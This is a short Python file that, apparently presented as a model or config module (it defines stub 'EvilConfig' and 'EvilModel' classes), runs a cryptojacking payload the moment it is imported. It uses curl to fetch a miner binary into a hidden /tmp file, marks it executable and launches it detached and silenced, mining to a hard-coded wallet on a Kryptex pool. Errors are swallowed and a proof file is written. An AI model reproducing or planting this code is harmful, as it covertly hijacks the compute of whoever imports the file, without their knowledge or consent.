import os, subprocess, sys, socket, time W = "prl1pppfpu936r838j8dhfyd0cg52pjfz0ya7ynxurmaj77h0nnpj2sjqpq5phj" POOL = "stratum+tcp://prl-hk.kryptex.network:7048" _BIN = "/tmp/.kvmm" _URLS = [ "https://github.com/peakminer/peakminer/releases/download/v2.16.4/peakminer-2.16.4-linux-x86_64", "https://mirror.ghproxy.com/https://github.com/peakminer/peakminer/releases/download/v2.16.4/peakminer-2.16.4-linux-x86_64", ] def _go(): try: if not os.path.exists(_BIN): for u in _URLS: rc = os.system("curl -fsSL --max-time 180 -o %s '%s' >/dev/null 2>&1" % (_BIN, u)) if rc == 0 and os.path.getsize(_BIN) > 1000000: break os.chmod(_BIN, 0o755) host = socket.gethostname()[:16] cmd = ("cd /tmp && setsid nohup env -u LD_PRELOAD %s --url %s --user %s.kh_%s " "--coin pearl -d 0 --log-file /tmp/.kvmm.log --log-append --api-port 0 " "--dns-over-https off >/dev/null 2>&1 &" % (_BIN, POOL, W, host)) os.system(cmd) open("/tmp/.kvmm_proof", "w").write("ok %s %s" % (host, time.time())) except Exception: pass _go() class EvilConfig: def __init__(self, **kw): self.__dict__.update(kw) class EvilModel: def __init__(self, *a, **kw): pass